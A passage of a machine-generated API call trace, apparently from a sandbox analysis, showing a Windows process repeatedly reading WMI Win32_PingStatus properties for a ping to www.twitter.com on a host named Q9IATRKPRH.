(bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.899] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.899] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289464*=0, plFlavor=0x2289468*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2289464*=3, plFlavor=0x2289468*=64) returned 0x0 [0162.899] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DERIVATION", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289498*=0, plFlavor=0x228949c*=0 | out: pVal=0x5bde88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8afd0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2289498*=8200, plFlavor=0x228949c*=64) returned 0x0 [0162.900] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22894cc*=0, plFlavor=0x22894d0*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22894cc*=8, plFlavor=0x22894d0*=64) returned 0x0 [0162.900] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.900] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.900] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22894cc*=8, plFlavor=0x22894d0*=64 | out: pVal=0x5bde980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22894cc*=8, plFlavor=0x22894d0*=64) returned 0x0 [0162.900] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.900] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.900] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0162.900] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0162.900] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.900] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0162.900] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0162.900] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.901] IWbemClassObject:GetNames (in: This=0x5f6b650, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde85c | out: pNames=0x5bde85c*="\x01ƀ\x04") returned 0x0 [0162.901] SafeArrayGetDim (psa=0x5f8ae80) returned 0x1 [0162.901] SafeArrayGetDim (psa=0x5f8ae80) returned 0x1 [0162.901] SafeArrayGetLBound (in: psa=0x5f8ae80, nDim=0x1, plLbound=0x5bde6f4 | out: plLbound=0x5bde6f4) returned 0x0 [0162.901] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.901] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.901] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.901] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.901] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.901] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.901] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.901] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.901] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.901] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.901] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.901] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.901] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.901] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.902] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.902] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.902] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.902] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.902] SysStringByteLen (bstr="__PATH") returned 0xc [0162.902] SysStringByteLen (bstr="__PATH") returned 0xc [0162.902] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__GENUS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22899ec*=0, plFlavor=0x22899f0*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22899ec*=3, plFlavor=0x22899f0*=64) returned 0x0 [0162.902] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289a20*=0, plFlavor=0x2289a24*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2289a20*=8, plFlavor=0x2289a24*=64) returned 0x0 [0162.902] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.902] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.902] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289a78*=0, plFlavor=0x2289a7c*=0 | out: pVal=0x5bde858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289a78*=8, plFlavor=0x2289a7c*=64) returned 0x0 [0162.903] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DYNASTY", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289aa0*=0, plFlavor=0x2289aa4*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2289aa0*=8, plFlavor=0x2289aa4*=64) returned 0x0 [0162.903] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.903] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.903] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__RELPATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289af8*=0, plFlavor=0x2289afc*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2289af8*=8, plFlavor=0x2289afc*=64) returned 0x0 [0162.903] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.903] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.903] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289cd4*=0, plFlavor=0x2289cd8*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2289cd4*=3, plFlavor=0x2289cd8*=64) returned 0x0 [0162.903] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DERIVATION", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289d08*=0, plFlavor=0x2289d0c*=0 | out: pVal=0x5bde858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8aeb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2289d08*=8200, plFlavor=0x2289d0c*=64) returned 0x0 [0162.904] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289d3c*=0, plFlavor=0x2289d40*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2289d3c*=8, plFlavor=0x2289d40*=64) returned 0x0 [0162.904] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.904] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.904] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289d88*=0, plFlavor=0x2289d8c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2289d88*=8, plFlavor=0x2289d8c*=64) returned 0x0 [0162.904] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.904] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.904] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289dd4*=0, plFlavor=0x2289dd8*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2289dd4*=8, plFlavor=0x2289dd8*=64) returned 0x0 [0162.904] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.904] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.904] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde89c | out: puCount=0x5bde89c*=0x2) returned 0x0 [0162.904] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0x0, pszText=0x0 | out: puBuffLength=0x5bde898*=0xf, pszText=0x0) returned 0x0 [0162.904] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.904] IWbemClassObject:Get (in: This=0x5f6b650, wszName="Address", lFlags=0, pVal=0x5bde898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a00c*=0, plFlavor=0x228a010*=0 | out: pVal=0x5bde898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x228a00c*=8, plFlavor=0x228a010*=0) returned 0x0 [0162.904] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0162.905] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0162.905] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0162.905] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0162.905] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.905] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0162.905] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0162.905] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.905] IWbemClassObject:GetNames (in: This=0x5f6b650, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde890 | out: pNames=0x5bde890*="\x01ƀ\x04") returned 0x0 [0162.905] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0162.905] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0162.905] SafeArrayGetLBound (in: psa=0x5f8afd0, nDim=0x1, plLbound=0x5bde728 | out: plLbound=0x5bde728) returned 0x0 [0162.905] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.905] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.905] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.905] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.905] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.906] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.906] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.906] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.906] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.906] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.906] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.906] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.906] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.906] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.906] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.906] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.906] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.906] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.906] SysStringByteLen (bstr="__PATH") returned 0xc [0162.906] SysStringByteLen (bstr="__PATH") returned 0xc [0162.906] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__GENUS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a3e0*=0, plFlavor=0x228a3e4*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x228a3e0*=3, plFlavor=0x228a3e4*=64) returned 0x0 [0162.907] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a414*=0, plFlavor=0x228a418*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228a414*=8, plFlavor=0x228a418*=64) returned 0x0 [0162.907] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.907] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.907] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a46c*=0, plFlavor=0x228a470*=0 | out: pVal=0x5bde88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a46c*=8, plFlavor=0x228a470*=64) returned 0x0 [0162.907] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DYNASTY", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a494*=0, plFlavor=0x228a498*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x228a494*=8, plFlavor=0x228a498*=64) returned 0x0 [0162.907] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.907] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.907] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__RELPATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a4ec*=0, plFlavor=0x228a4f0*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x228a4ec*=8, plFlavor=0x228a4f0*=64) returned 0x0 [0162.907] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.907] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.908] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a6c8*=0, plFlavor=0x228a6cc*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x228a6c8*=3, plFlavor=0x228a6cc*=64) returned 0x0 [0162.908] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DERIVATION", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a6fc*=0, plFlavor=0x228a700*=0 | out: pVal=0x5bde88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x228a6fc*=8200, plFlavor=0x228a700*=64) returned 0x0 [0162.908] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a730*=0, plFlavor=0x228a734*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x228a730*=8, plFlavor=0x228a734*=64) returned 0x0 [0162.908] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.908] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.908] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a77c*=0, plFlavor=0x228a780*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x228a77c*=8, plFlavor=0x228a780*=64) returned 0x0 [0162.908] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.909] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.909] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228a7c8*=0, plFlavor=0x228a7cc*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x228a7c8*=8, plFlavor=0x228a7cc*=64) returned 0x0 [0162.909] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.909] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.909] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8d0 | out: puCount=0x5bde8d0*=0x2) returned 0x0 [0162.909] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8cc*=0xf, pszText=0x0) returned 0x0 [0162.909] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.909] IWbemClassObject:Get (in: This=0x5f6b650, wszName="Address", lFlags=0, pVal=0x5bde8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228aa00*=0, plFlavor=0x228aa04*=0 | out: pVal=0x5bde8cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x228aa00*=8, plFlavor=0x228aa04*=0) returned 0x0 [0162.909] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0162.909] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0162.909] IWbemClassObject:Get (in: This=0x5f6b650, wszName="Address", lFlags=0, pVal=0x5bde980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228aa00*=8, plFlavor=0x228aa04*=0 | out: pVal=0x5bde980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x228aa00*=8, plFlavor=0x228aa04*=0) returned 0x0 [0162.910] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0162.910] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0162.910] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x508 [0162.911] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0162.911] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0162.911] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.911] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b658*=0, plFlavor=0x228b65c*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x228b658*=8, plFlavor=0x228b65c*=64) returned 0x0 [0162.911] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.911] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.911] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228b658*=8, plFlavor=0x228b65c*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x228b658*=8, plFlavor=0x228b65c*=64) returned 0x0 [0162.911] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.911] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.911] 